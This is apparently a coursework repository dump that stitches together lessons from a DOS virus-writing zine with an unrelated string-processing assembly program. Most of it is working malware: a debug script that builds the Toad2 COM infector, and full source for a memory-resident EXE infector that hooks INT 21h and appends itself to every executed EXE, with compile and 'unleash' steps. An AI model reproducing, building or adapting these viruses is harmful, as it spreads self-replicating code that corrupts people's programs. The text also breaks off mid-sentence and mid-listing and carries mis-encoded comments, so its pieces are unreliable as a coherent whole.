+the data that was just pushed onto the stack to a specified destination. Don't freak out on me with this. At this point, this is all I want you to know about the stack, a 
+temporary memory location. On to the calculation. The call instruction pushes the IP, the address of the next instruction on to the stack. We then pop this address into 
+the bp. Then subtract the original offset of bounce, which was determined at the virus' original compilation, from the value in bp. The tasm toad2.asm (You can actually do this from any directory that you want)
+The result should be: 
+Turbo Assembler Version 2.01
+ 
+Assembling file:         toad2.asm
+Error Messages:          none
+Warning Messages:        none
+Passes:                  1
+Remaining Memory:        425k
+If there was an error in the code, TASM will indicate it in the error messages line. If you have typed the code in yourself and there is an error, revert back to the file 
+"toad2.asm" and take a look at my code, it works. If there are too many problems with your code and you'd just like to see how all this stuff works, switch to the "create" 
+directory and type the above instructions again. There is a copy of the "toad2.asm" and TASM and TLINK in this directory. What TASM has done is convert the ASM file 
+into an OBJ file. In order to get an executable COM file, we need to use the linker. Type: 
+C:\>tlink /t toad2.obj
+Tlink will return TOAD2.COM in the current directory. You now have a virus in front of you. Don't get scared, it won't bite. Now you will need to move the virus from the 
+current directory to the pond directory. Type: 
+C:\>copy toad2.com c:\pond\
+Then type : 
+C:\>cd ..\pond
+This will move you to the pond directory. Now list the contents of the directory by typing: 
+C:\pond>dir
+You will see that there are some files in this directory, TOAD2.COM and FLY(1-3).COM. TOAD.COM is your virus and the FLY(1-3).COM are the files that you are going to 
+infect. FLY.COM is just a simple COM file that does absolutely nothing. Easy prey! Take a note of the size of the two files, 6 and 162. Now unleash the virus by typing: 
+C:\pond>toad2
+Now list the contents of the directory again. You will now see that the files FLY(1-3) have become a little larger. FLY(1-3).COM are now infected. If all your attempts to 
+compile and link the toad2 virus fail, I have included a compiled copy of the toad2 virus and many fly.com files in the TOAD directory. Change to the TOAD directory and 
+type toad2. The fly files will become infected. 
+
+Debug script of the Toad2 virus 
+
+For those of you who would rather not use the compiler for some ungodly reason or if you are interested in viewing a hex dump of the virus in first generation, here is the 
+debug script of toad2.com. Looking at the debug script of your virus can also help you out in determining the length of certain parts of the virus. Take a look at the script 
+below. You can see the blank jump "e9 00 00" at the beginning of the code for the jump to the main virus body. Look at the end of the script and you can find the int 20 
+"cd 20" and the blank jump in newjump "e9 00 00". To measure the distance of certain parts of the virus, each two digit group equals one byte. For example, "e9" equals 
+one byte. You can determine the total length of the virus by counting the number of groups in the script. In this case, the toad2 virus will come out to 163 bytes. I hope 
+that I have not confused you with this. I purposely put this section at the end of the tutorial because I did not want to go into detail on the use of debug. In the next edition 
+of the zine there will be an article on using debug in virus writing. I just wanted to give you a taste of what is to come. In order to get a functioning virus from the below code 
+you need to find your copy of debug. Cut the below code out and save it to a file called toad2.txt. Then at a cursor, with debug in the same directory, type: 
+
+debug < toad2.txt 
+N TOAD2.COM
+E 0100 E9 00 00 E8 00 00 5D 81 ED 06 01 B9 03 00 8D B6 
+E 0110 9D 01 BF 00 01 57 F3 A4 8D 96 A3 01 B4 1A CD 21 
+E 0120 B4 4E 8D 96 97 01 B9 07 00 CD 21 73 03 EB 60 90 
+E 0130 B8 02 3D 8D 96 C1 01 CD 21 93 B4 3F 8D 96 9D 01 
+E 0140 B9 03 00 CD 21 3E 8B 86 BD 01 3E 8B 8E 9E 01 81 
+E 0150 C1 A3 00 3B C1 74 30 2D 03 00 3E 89 86 A1 01 B8 
+E 0160 00 42 33 C9 33 D2 CD 21 B4 40 B9 03 00 8D 96 A0 
+E 0170 01 CD 21 B8 02 42 33 C9 33 D2 CD 21 B4 40 B9 A0 
+E 0180 00 8D 96 03 01 CD 21 B4 3E CD 21 B4 4F EB 9A BA 
+E 0190 80 00 B4 1A CD 21 C3 2A 2E 63 6F 6D 00 CD 20 00 
+E 01A0 E9 00 00 
+RCX
+00A3
+W
+Q
+Appendix 1 - The Registers
+ 
+ 
+ AX     Accumulator
+ BX     Base register
+ CX     Counting register
+ DX     Data register
+ DS     Data Segment register
+ ES     Extra Segment register
+ SS     Stack Segment register
+ CS     Code Segment register
+ BP     Base Pointer register
+ SI     Source Index register
+ DI     Destination Index register
+ SP     Stack Pointer register
+ IP     Next Instruction Pointer register
+ F      Flag register
+Appendix 2 - The PSP (from Ralf Brown's Interrupt List)
+ 
+Format of Program Segment Prefix (PSP):
+Offset    Size        Description    (Table 1032)
+ 00h      2 BYTEs  INT 20 instruction for CP/M CALL 0 program
+                   termination the CDh 20h here is often used
+                   as a signature for a valid PSP
+ 02h      WORD     segment of first byte beyond memory allocated to
+                   program
+ 04h      BYTE     (DOS) unused filler (OS/2) count of fake DOS
+                   version returns
+ 05h      BYTE     CP/M CALL 5 service request (FAR CALL to absolute
+                   000C0h) BUG: (DOS 2+ DEBUG) PSPs created by DEBUG
+                   point at 000BEh
+ 06h      WORD     CP/M compatibility--size of first segment for .COM
+                   files
+ 08h      2 BYTEs  remainder of FAR JMP at 05h
+ 0Ah      DWORD    stored INT 22 termination address
+ 0Eh      DWORD    stored INT 23 control-Break handler address
+ 12h      DWORD    DOS 1.1+ stored INT 24 critical error handler
+                   address
+ 16h      WORD     segment of parent PSP
+ 18h      20 BYTEs DOS 2+ Job File Table, one byte per file
+                   handle, FFh = closed
+ 2Ch      WORD     DOS 2+ segment of environment for process (see
+                   #1033)
+ 2Eh      DWORD    DOS 2+ process's SS:SP on entry to last INT
+                   21 call
+ 32h      WORD     DOS 3+ number of entries in JFT (default 20)
+ 34h      DWORD    DOS 3+ pointer to JFT (default PSP:0018h)
+ 38h      DWORD    DOS 3+ pointer to previous PSP (default
+                   FFFFFFFFh in 3.x) used by SHARE in DOS 3.3
+ 3Ch      BYTE     DOS 4+ (DBCS) interim console flag (see AX=6301h)
+                   Novell DOS 7 DBCS interim flag as set with
+                   AX=6301h (possibly also used by Far East MS-DOS
+                   3.2-3.3)
+ 3Dh      BYTE     (APPEND) TrueName flag (see INT 2F/AX=B711h)
+ 3Eh      BYTE     (Novell NetWare) flag: next byte initialized if
+                   CEh (OS/2) capabilities flag
+ 3Fh      BYTE     (Novell NetWare) Novell task number if previous
+                   byte is CEh
+ 40h      2 BYTEs  DOS 5+ version to return on INT 21/AH=30h
+ 42h      WORD     (MSWindows3) selector of next PSP (PDB) in linked
+                   list Windows keeps a linked list of Windows programs
+                   only
+ 44h      WORD     (MSWindows3) "PDB_Partition"
+ 46h      WORD     (MSWindows3) "PDB_NextPDB"
+ 48h      BYTE     (MSWindows3) bit 0 set if non-Windows application
+                   (WINOLDAP)
+ 49h      BYTE     unused by DOS versions <= 6.00
+ 4Ch      WORD     (MSWindows3) "PDB_EntryStack"
+ 4Eh      2 BYTEs  unused by DOS versions <= 6.00
+ 50h      3 BYTEs  DOS 2+ service request (INT 21/RETF instructions)
+ 53h      2 BYTEs  unused in DOS versions <= 6.00
+ 55h      7 BYTEs  unused in DOS versions <= 6.00; can be used
+                   to make first FCB into an extended FCB
+ 5Ch      16 BYTEs first default FCB, filled in from first
+                   commandline argument overwrites second FCB if opened
+ 6Ch      16 BYTEs second default FCB, filled in from second
+                   commandline argument overwrites beginning of
+                   commandline if opened
+ 7Ch      4 BYTEs  unused
+ 80h      128 BYTEs commandline / default DTA
+                    command tail is BYTE for length of tail, N BYTEs
+                    for the tail, followed by a BYTE containing 0Dh
+ 

+ 486 - 0
ASM/!SPBSTU/4sem/Kursovik/2/help

@@ -0,0 +1,486 @@
+Lesson 4 Guide To EXE Infection By Horny Toad 
+        
+      
+
+Now onto the 4th lesson, EXE file infection. Boy, the topics never seem to get any easier, do they? The difficult aspect of EXE infection is that there is no ONE technique 
+to cover all forms of EXE infection. I will, therefore, keep to the basics in this tutorial and in later articles, address different techniques which you can use. 
+
+What is an EXE file? 
+
+One of the first things that we need to do is understand what an EXE file is and more importantly what it looks like. Quite simply, an EXE file is an improvement over the 
+COM file format in that allows the program size to exceed one segment (64k). COM programs are limited to 64K, including 256 bytes for the PSP. EXE files, on the other 
+hand can occupy a much larger space by using more than one segment. The limit on an EXE file's size is the amount of memory/hard drive space you have. There are 
+other characteristics that differ between the EXE and COM formats. In a COM file, the stack is automatically defined, whereas, in an EXE file, you need to initialize it 
+yourself. This is probably the single most difficult concept to grasp when writing EXE files, the stack. Care must be taken that you define the stack large enough to handle 
+all of the push and pop instructions that your program will use. If your stack is to small, your program is sure to crash. The next difference in the two file formats is the 
+initializing of data segment. In a COM file, the data segment is defined as an area within the code segment. Since a COM file only uses one segment anyway, the data, 
+code, and stack segments can all fall right together. Very convienient right? Well, in an EXE file, after the program loader puts the file in memory, both DS and ES contain 
+the address of the PSP! Remember that! Always remember to load the address of the data segment into ds when coding EXE files. 
+
+At the heart of the EXE file format lies the EXE header. The EXE header is a minimum of 32 bytes that is used to describe a multitude of information about how the 
+program needs to be loaded. Why I say that the header is the heart of the EXE file format, is that a virus which attacks EXE files, needs to utilize practically all of the 
+information in the header. Therefore, pay attention so that you thoroughly understand this concept. 
+
+Let's take a look at the EXE header format: 
+
+The length of each element in the EXE header is 2 bytes (1 WORD). The descriptive names of each element in the header are the traditional names that have been used 
+size the EXE file was created. You can give them whatever symbolic name you want to in you virus. 
+                              EXE Header Format
+    
+   Offset          Length          Content         Description
+   -----------------------------------------------------------------------
+   0h              2               4Dh 5Ah         EXE file signature "MZ"
+    
+   2h              2               PartPag         Length of last non-full
+                                                   page.
+   4h              2               PagCnt          Length of program in 512
+                                                   byte pages
+   6h              2               ReloCnt         Number of elements in
+                                                   the relocation table
+   8h              2               HdrSize         Header length in 
+                                                   paragraphs
+   0Ah             2               MinMem          Minimum memory left in
+                                                   paragraphs.
+   0Ch             2               MaxMem          Maximum memory left in
+                                                   paragraphs.
+   0Eh             2               ReloSS          Segment correction for
+                                                   stack (SS)
+   10h             2               ExeSP           Value of stack pointer
+                                                   (SP)
+   12h             2               ChkSum          Checksum
+    
+   14h             2               ExeIP           Value of instruction
+                                                   pointer (IP)
+   16h             2               ReloCS          Segment correction for
+                                                   CS
+   18h             2               TablOff         Offset for the first
+                                                   relocation element
+   1Ah             2               Overlay         Overlay number
+That looks very pretty, but how does it actually look? To tell you the truth, looking at the EXE header in DEBUG makes it look so much more simpler. The only catch is 
+that you need to rename the extension to something other than ".EXE" in order to view the header. You can, if you know the exact program address, use the DEBUG L 
+command to load a certain sector from a disk and then (D)isplay the contents of the sector. Nahh! Too complicated. Just rename the damn thing. Make sure that you have 
+read Horny Toad & Opic's guide to disassembly and understand how to use DEBUG. I have included some sample files in this tutorial to give you some hands-on work 
+with EXE files. One of the samples is a basic do-nothing EXE file. Let's say that I called this file someExe.exe. Below, I will display the contents of the someExe header. 
+
+At a prompt, type: 
+   c:\>debug someExe.eww
+   -d
+    
+   ??:0100  4D 5A 11 00 02 00 01 00-20 00 11 00 FF FF 02 00  MZ...... .......
+   ??:0110  00 01 00 00 00 00 00 00-3E 00 00 00 01 00 FB 71  ........>......q
+   ??:0120  6A 72 00 00 00 00 00 00-00 00 00 00 00 00 00 00  jr..............
+For an easier to read version of the same information, use SPo0ky's EXE header reader for the following results: 
+   EXE Signature ........................................ MZ
+   Size of Last Page .................................... 0011
+   Number of 512 byte pages in file ..................... 0002
+   Number of Relocation Entries ......................... 0001
+   Header size in Paragraphs ............................ 0020
+   Minimum additional Memory required in paragraphs ..... 0011
+   Maximum additional Memory required in paragraphs ..... FFFF
+   Initial SS relative to start of file ................. 0002
+   Initial SP ........................................... 0100
+   Checksum (unused) .................................... 0000
+   Initial IP ........................................... 0000
+   Initial CS relative to start of file ................. 0000
+   Offset within Header of Relocation Table ............. 003E
+   Overlay Number ....................................... 0000
+    
+   Relocation Table Entries:
+           0000:0001
+However you choose to read the EXE header is fine. At this point, just make sure that you are aware of its existance. I have begun including the debug scripts of the 
+programs that I use in the tutorial so that people who do not have access to the Codebreakers magazine can extract all of the sample programs from the tutorial with the 
+help of debug. The debug usage differs slightly from the other tutorials, so make sure you read the instructions at the end of this file. 
+
+Now, let's take a look at the individual contants of the EXE header and identify their function in the infection process. 
+
+EXE signature 
+
+The first word in the header is the traditional EXE file signature "MZ". These are the initials of Mark Zbikowski, the programmer who designed the EXE file format. 
+Obviously, you already know from my last tutorial that you can use this unique signature to identify whether or not the file is of the EXE format. 
+
+PartPag and PagCnt (need to be modified) 
+
+PartPag and PagCnt make up the entire file size including header. PageCnt, as the name implies, is the length of the file expressed in 512 byte pages. PartPag is the 
+amount of bytes that are on the last page of PageCnt. PartPag is expressed as length of the file mod 512. Mod. You better learn this concept now, because it will follow 
+you on into higher programming languages such as C++. 
+   5 % 2 = 1
+   5 / 2 = 2
+The mod (%) is the remainder left over after division has taken place in non-floating point numbers. Simple enough. PartPag and PagCnt will need to be modified to allow 
+for the inclusion of you virus code. 
+
+ReloCnt 
+
+The next item in the header represents the number of items in the relocation table. What the hell is a relocation table? A relocation table contains two words 
+(offset,segment) for each element in the program that needs to be adjusted to account for segment location. You can skip over this because you will not have to make any 
+modifications here but... 
+
+In the relocation table, both words are read and a relative segment address is computed by the sum of the loading segment address (usually PSP seg + 10h) and the 
+segment address to the element that needs adjusting. The loading segment is then added to the element in memory at the relative segment address/offset. 
+
+HdrSize 
+
+The next element of the header is the header size. Quite self explanatory, the HdrSize holds the size of the header in 16-byte paragraphs. With the information that you 
+have thus far seen, you can determine the actual bare program size with the equation: 
+   Size=((PagCnt*512)-(HdrSize*16))-(512-PartPag)
+You will also not have to fool with the header size. 
+
+MinMem & MaxMem 
+
+Shall we also have another obvious two contents: MinMem and MaxMem? These two values are used to allocate the amount of memory for the program. 
+
+ReloSS & ExeSP (need to be modified) 
+
+ReloSS and ExeSP are two items that need to be changed to account for the addition of code that you have just appended. ReloSS added with the starting segment 
+address will give you your SS register. 
+
+Checksum (should be modified) 
+
+The Checksum item is the traditional place to store an infection marker. 
+
+ReloCS & ExeIP (need to be modified) 
+
+ReloCS is definitely an important item. The item stored here, along with the ExeIP, represents the beginning address to our virus code. This value will be initially saved 
+from the host program so that it can be recalled and control returned back to the host. 
+
+TablOff 
+
+This is the offset to the first relocation element in the file. 
+
+Overlay 
+
+If this is the program main module, the value should be zero. 
+
+Below is a simple resident EXE infector. I choose to include a resident virus rather then a direct action infector, because I believe that, if you can write a resident EXE 
+infector, making it non-resident would be a piece of cake. One thing that I was considering to do was to follow the modular style of coding that I used in the last tutorial. 
+One trend that I was seeing in many viruses was that people were simply copying the code. After Slam #4 was released, you have no idea how many EXE infectors 
+started to hit the scene that were essentially a word for word copy. Whatever. In the end, I decided to include the virus below so that you can see everything working in 
+one virus, rather than the modular style of instruction. I am not sure which way is better, so I will probably continue to switch back and forth between styles. Another thing, 
+while I am in the preaching mode, from now on, I will not be explaining the most basic concepts of assembly. If you have been following along with the tutorials, you should 
+understand every concept that is in this tutorial. Really, the only new aspect that you need to be aware of with EXE infection is that you need to change certain values in 
+the header to accomodate your virus. You already know how to do this. In the beginning tutorials, you played around with elements of the DTA. Well, you are going to be 
+doing the same thing with the header, reading it into a buffer and reading and modifying the values that I have pointed out above. 
+.286
+virus segment
+  assume cs:virus, ds:virus, es:virus
+ 
+ jumps
+ org 0CBh
+ 
+start:
+ 
+  call delta                        ;Calculate delta offset
+delta:
+  pop bp
+  sub bp,offset delta
+ 
+  push ds                           ;save PSP address
+ 
+  push cs cs
+  pop ds es
+ 
+  mov ax,0CBCBh                     ;our "Codebreaker" residency check
+  int 21h                           ;>what is CB?
+  cmp bx,0C001h                     ;>C001!! :o)
+  je restore                        ;its already resident
+ 
+  pop ds                            
+  push ds                           ;PSP address back into DS
+  ;--------------------------------------------------
+  mov ax,ds                                 ;MCB residency
+  dec ax                                    ;For further clarification
+  mov ds,ax                                 ;read Codebreaker Tutorial 3
+ 
+  sub word ptr ds:[3],40h
+  sub word ptr ds:[12h],40h
+ 
+  xor ax,ax
+  mov ds,ax
+ 
+  dec word ptr ds:[413h]
+ 
+  mov ax,word ptr ds:[413h]
+  shl ax,6
+ 
+  mov es,ax
+ 
+  push cs
+  pop ds
+ 
+  lea si,[bp+start]
+  xor di,di
+  mov cx,the_end - start
+  rep movsb
+  ;--------------------------------------------------
+  xor ax,ax                                 ;Setting of interrupts
+  mov ds,ax                                 ;For further clarification
+                                            ;read Codebreaker Tutorial 3
+  mov ax,es                                 
+  mov bx,new_int21h-start
+  cli
+  xchg bx,word ptr ds:[21h*4]
+  xchg ax,word ptr ds:[21h*4+2]
+  mov word ptr es:[old_int21h-start],bx
+  mov word ptr es:[old_int21h+2-start],ax
+  sti
+  ;--------------------------------------------------
+  push cs cs
+  pop ds es
+ 
+  mov ah,9                                  ;Warns the poor shmuck
+  lea dx,[bp+message]
+  int 21h
+ 
+restore:                                    ;Control handed back
+ 
+  lea si,[bp+old_ip]                        ;Restore orig IP
+  lea di,[bp+original_ip]
+  mov cx,4
+  rep movsw
+ 
+; Now for a clarification of the next four lines. At the beginning of
+; the virus DS contains the address of the PSP. We now restore the
+; address from the stack, place the address in ES.  Then add 10h to
+; skip over the PSP.  Skip over the PSP(100h) with 10h? Sounds a little
+; fishy, right?  Well, remember that when you add 10h to AX, you are
+; adding 10h segments. Each segment is 10h bytes, so 10h*10h=100h (PSP)
+ 
+  pop ds
+  mov ax,ds
+  mov es,ax
+  add ax,10h
+ 
+  add word ptr cs:[bp+original_cs],ax       ;Orig CS
+  cli
+  add ax,word ptr cs:[bp+original_ss]       ;Orig SS
+  mov ss,ax
+  mov sp,word ptr cs:[bp+original_sp]       ;Orig SP
+  sti
+ 
+ db 0eah                                    ;jump to to it
+ original_ip dw ?                           ;
+ original_cs dw ?
+ original_ss dw ?
+ original_sp dw ?
+ 
+ 
+ new_int21h:                                ;our int 21h handler
+  pushf                                     ;push the flags
+  cmp ax,0CBCBh                             ;residency check
+  jne no_install_check
+  mov bx,0C001h                             ;already resident
+  popf                                      ;restore all flags
+  iret                                      ;return
+ no_install_check:
+  cmp ah,4bh                                ;check if execute
+  je infect
+ return:
+  popf                                      ;restore all flags
+ db 0eah                                    ;jmp to orig int 21h
+ old_int21h dd ?
+ 
+ infect:
+  pusha                                     ;only 286, saves all gen reg
+  push ds
+  push es
+ 
+  call tsr_delta
+ tsr_delta:
+  pop bp                                    ;a tsr delta offset %-)
+  sub bp,offset tsr_delta
+ 
+  mov ax,3d02h                              ;open file in DS:DX
+  int 21h
+  jc exit
+ 
+  xchg ax,bx                                ;file handle to bx
+ 
+  push cs cs
+  pop ds es
+ 
+  mov ah,3fh                                ;Read the target header
+  lea dx,[bp+header]                        ;into our buffer
+ 
+  mov cx,1ch
+  int 21h
+ 
+  cmp word ptr cs:[bp+header],'ZM'          ;check if its an EXE
+  je ok
+  cmp word ptr cs:[bp+header],'MZ'
+  je ok
+  jmp close
+ 
+ ok:
+  cmp word ptr cs:[bp+header+12h],'BC'      ;Checksum value checked for
+  je close                                  ;previous infection
+ 
+  mov word ptr cs:[bp+header+12h],'BC'      ;Mark it as infected
+ 
+  mov ax,word ptr cs:[bp+header+14h]        ;Save orig ExeIP
+  mov word ptr cs:[bp+old_ip],ax            ;Store in our buffer
+  mov ax,word ptr cs:[bp+header+16h]        ;Save orig ReloCS
+  mov word ptr cs:[bp+old_cs],ax            
+  mov ax,word ptr cs:[bp+header+0eh]        ;Save orig ReloSS
+  mov word ptr cs:[bp+old_ss],ax
+  mov ax,word ptr cs:[bp+header+10h]        ;Save orig ExeSP
+  mov word ptr cs:[bp+old_sp],ax
+ 
+  mov ax,4202h                              ;Set pointer to end of file
+  xor cx,cx
+  xor dx,dx
+  int 21h
+ 
+  push ax dx                                ;Save EOF results
+ 
+                                            ;Calculate new CS:IP, we set
+                                            ;it to the EOF (this is where
+                                            ;we will attach our virus)
+ 
+  mov cx,16                                 ;Convert filesize into 16 byte
+  div cx                                    ;paragraphs
+ 
+  sub ax,word ptr cs:[bp+header+8]          ;Substract Header size from
+                                            ;filesize to get the image
+                                            ;(code/data) size.
+ 
+                                            ;save:
+  mov word ptr cs:[bp+header+14h],dx        ;New ExeIP
+  mov word ptr cs:[bp+header+16h],ax        ;New ReloCS
+ 
+  pop dx ax                                 ;restore saved filesize
+ 
+  add ax,the_end - start                    ;Add virus size to file size
+  adc dx,0                                  ;Adds carry to DX
+ 
+  mov cx,512                                ;Calculate amount of pages
+  div cx
+ 
+  cmp dx,0
+  je no_remainder
+  inc ax                                    ;if remainder, add 1
+ no_remainder:
+ 
+  mov word ptr cs:[bp+header+4],ax          ;New PageCnt
+  mov word ptr cs:[bp+header+2],dx          ;New PartPag
+ 
+  mov ah,40h                                ;write the virus to the EOF
+  lea dx,[bp+start]
+  mov cx,the_end - start
+  int 21h
+ 
+  mov ax,4200h                              ;Send pointer to beginning
+  xor cx,cx
+  xor dx,dx
+  int 21h
+ 
+  mov ah,40h                                ;Write the new header
+  lea dx,[bp+header]
+  mov cx,1ch
+  int 21h
+ 
+mov al,7
+int 29h                                     ; just a BEEEEEPPP
+ 
+ close:
+  mov ah,3eh                                ;close file
+  int 21h
+ 
+ exit:
+  pop es
+  pop ds
+  popa
+  jmp return
+ 
+ 
+ old_ip dw offset exit_prog
+ old_cs dw 0
+ old_ss dw 0
+ old_sp dw 0fffeh
+ 
+ header db 1ch dup(?)                       ;Buffer for header
+ 
+ message db 10,13,10,13
+ db '- SPo0ky''s EXAMPLE TSR EXE infector for Horny Toad''s ''Guide To EXE Infection'' -',10,13
+ db '- has been installed in your computers memory and will from now on infect any -',10,13
+ db '- EXE file that you execute.                                                  -',10,13
+ db '- You can use TBCLEAN (www.thunderbyte.com) to clean this virus.              -',10,13,10,13
+ db '                           - www.codebreakers.org -',10,13,'$'
+ 
+ the_end:
+ 
+ exit_prog:
+  mov ax,4c00h                              ;Request terminate program
+  int 21h
+ 
+virus ends
+end start
+In order to see the above virus work. Cut the virus out of this file and save it in a file exevir.asm. 
+
+At a prompt with TASM/TLINK in the same directory, type: 
+   c:\>tasm exevir.asm
+   c:\>tlink exevir.obj
+Use the myexe.exe (below) as the host program. With both of the programs in the same directory, execute the virus, then execute the host program. If you look at the 
+filesize using the (dir)ectory command, you will see that it has increased in length. Test this virus in a MSDOS box from windows and when you exit out of the MSDOS 
+box, the virus will be gone. If you check the header now, you will be able to see the changes made after infection. Take a look at that beautiful "CB" infection marker. 
+   ??:0100  4D 5A 5A 01 03 00 01 00-20 00 11 00 FF FF 02 00   MZZ..... .......
+   ??:0110  00 01 43 42 01 00 01 00-3E 00 00 00 01 00 FB 71   ..CB....>......q
+   ??:0120  6A 72 00 00 00 00 00 00-00 00 00 00 00 00 00 00   jr..............
+To write the definitive guide to all forms of EXE infection, I would need to quit my day job (which I've thought of doing) and just write a book. In the end it is better to have a 
+bunch of installments attacking each issue and facet of virus writing. Look for the future Codebreaker tutorials become much more specific and advanced. If you can 
+understand how to infect COM and EXE files, along with what role encryption and polymorphism can aid in virus effectivness, you are well on you way to making some 
+really awesome creations. The only thing that you need to add from here is some boot infection techniques to the virus and watch out, you'll have a decent multipartide 
+virus. I guess my one piece of advice now is to read code and absorb it. Start to become critical of others code and use that knowledge and judgement to develope your 
+own style. Enough preaching! 
+
+Have fun! 
+Good luck! 
+
+Horny Toad 
+
+
+SAMPLE PROGRAMS USED IN TUTORIAL 
+
+In order to extract this sample program, cut it out of this file and paste it into a file named "myexe.txt". 
+
+At the prompt, type: 
+   c:\>debug < myexe.txt
+   c:\>rename myexe.exd myexe.exe
+You will then have a sample infectable EXE file. 
+   N MYEXE.EXD
+   E 0100 4D 5A 11 00 02 00 01 00 20 00 11 00 FF FF 02 00 
+   E 0110 00 01 00 00 00 00 00 00 3E 00 00 00 01 00 FB 71 
+   E 0120 6A 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 
+   E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0300 B8 01 00 8E D8 8E C0 B4 4C A0 00 00 CD 21 00 00 
+   E 0310 00 
+   RCX
+   0211
+   W
+   Q

+ 243 - 0
ASM/!SPBSTU/4sem/Kursovik/2/host.as2

@@ -0,0 +1,243 @@
+; ‚ à¨ ­â 19
+; ‚¥àá¨ï 2. „ ­­ë¥ ¨§ ä ©«  2.txt
+; …­¨ª¥¥¢ ˆ.�.  2084/1
+.286
+cseg segment byte public 'CODE'
+        assume cs:cseg, ds:dseg, es:dseg
+start:  
+        mov ax, seg dseg
+        mov es, ax
+        mov ds, ax
+ ;------------------------------
+        mov ax, 3d00h
+        mov dx, offset fname
+        int 21h
+        jnc $+5
+        jmp no_file
+
+        push ax
+        mov bp, 1               ; BP will hold ifWORK
+line_loop:
+        pop bx
+        mov cx, 1
+        mov dx, offset from
+char_loop:
+        mov ah, 3fh
+        int 21h
+        mov si, dx
+        test ax, ax
+        jz eof
+        cmp byte ptr ds:[si], 0ah
+        je eol
+        inc dx
+        jmp char_loop
+
+eol:    mov byte ptr ds:[si-1], 0
+        push bx
+        jmp work
+
+eof:    mov byte ptr ds:[si], 0
+        xor bp, bp        
+        mov ah, 3eh
+        int 21h
+work:   
+        cmp byte ptr [from], 0  ; Test input string to non-empty
+        jnz $+5
+        jmp no_string
+
+        mov di, offset to
+        add di, [need_len]
+        mov [max_len], di
+        
+        xor cx, cx              ; Begin of work
+        not cx
+        mov di, offset from     
+        mov al, ' '
+        repz scasb              ; Skip all spaces at the beginning
+        dec di
+        mov real_ofs, di        ; Save offset of first non-space character
+
+        xor ax, ax
+        xor cx, cx
+        not cx
+        repnz scasb             ; Search for tailing zero
+
+        dec di
+        dec di                  ; di - points to last non-zero char
+
+        not cx
+        dec cx
+        push cx                 ; Save full length of string
+
+        std                     ; Change direction flag to backwards
+        mov al, ' '
+        xor cx, cx
+        not cx
+        repz scasb              ; Search for non-space charecter at the end of string
+
+        inc di
+        inc di                  ; di points to next after last non-space
+        mov byte ptr [di], 0    ; Discard tailing spaces
+
+        not cx
+        dec cx                  ; Get count of tailing spaces
+
+        pop ax                  
+        sub ax, cx              ; Calculate length of trimmed string (without leading and tailing spaces)
+        jg  $+5                 ; If length is positive - countinue work
+        jmp no_string
+
+        cld                     ; Restore normal direction flag
+        mov cx, ax              ; Set trimmed length
+        mov di, real_ofs        ; Set pointer to the beginng of string
+
+
+        xor bx, bx              ; bx holds non-space chars count
+        xor dx, dx              ; dx holds word count-1
+
+word_loop:                      ; loop for calculate word and non-space char count in sentence
+        mov al, [di]            ; get char from string
+        test al, al             ; test for EOS
+        jz next_1               ; If so - we are reached end of string
+        cmp al, ' '             ; Compare with space
+        jz inloop1              ; if so - skip all following spaces and inc word count
+        inc bx                  ; Increment letters count
+        inc di                  ; advance pointer
+        dec cx                  ; decrement residuary string length
+        jnz word_loop           ; if we got non-tested chars - continue loop
+        jmp next_1              ; if not - end our loop
+
+inloop1:                        ; If we've found space in input string
+        inc dx                  ; Increment word count
+        inc cx                  ; Inc string's length for next line's right work
+        repz scasb              ; Skip all following spaces in input string
+        dec di                  ; Adjust pointer to point to first non-space char
+        jmp word_loop           ; Countinue loop
+                
+next_1: mov ax, need_len        ; Get our required output string length
+        sub ax, bx              ; Decrease this length by total count of letters
+                                ; to get count of spaces, that we need to arrange
+                                ; between words
+
+        cmp ax, dx              ; if that count is less than spaces we've got to put
+                                ; betten words to save them separated then
+        jge need_spaces         ; Show error message
+
+        mov toins, 1            ; We'll have to crop input string, so leave we'll 
+                                ; only one space as gaps
+        xor dx, dx              ; And don't need for additional spaces
+        jmp just_copy
+
+need_spaces:        
+        mov bx, dx              ; bx will hold count of gaps between words
+        test bx, bx             ; if we've got only one word - so we don't need any gaps
+        jz just_copy
+
+        xor dx, dx              ; clear dx for normal div's work
+        div bx                  ; AX - holds count of spaces, bx - count of gaps, so
